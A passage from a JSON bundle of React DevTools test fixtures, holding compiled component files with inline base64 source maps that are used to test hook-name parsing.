columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCIsImRhcmtNb2RlIiwiaXNEYXJrTW9kZSJdLCJtYXBwaW5ncyI6IkNBQUQ7YXFCQ0EsQVdEQTtpQmJFQSxBZUZBO29DVkdBLEFlSEEifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXSwieF9mYWNlYm9va19zb3VyY2VzIjpbW251bGwsW3sibmFtZXMiOlsiPG5vLWhvb2s+IiwiY291bnQiLCJpc0RhcmtNb2RlIl0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBO2NsQkVBLEFlRkE7a0NiRUEifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJ0aGVtZSJdLCJtYXBwaW5ncyI6IkNBQUQ7Y2dCQ0EsQVVEQSJ9XV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJhIiwiYiIsImMiLCJkIl0sIm1hcHBpbmdzIjoiQ0FBRDtnQllDQSxBYURBO2lCYkVBLEFhRkE7b0JiR0EsQWFIQSxBTUlBLEFhSkEifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsIklubmVyQ29tcG9uZW50Iiwic3RhdGUiXSwibWFwcGluZ3MiOiJDQUFEO1l5QkNBO2FMQ0EsQVdEQTtnQjNCREEifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCJdLCJtYXBwaW5ncyI6IkNBQUQ7ZTRCQ0EsQVdEQSJ9XV1dfX1dfQ=="
  },
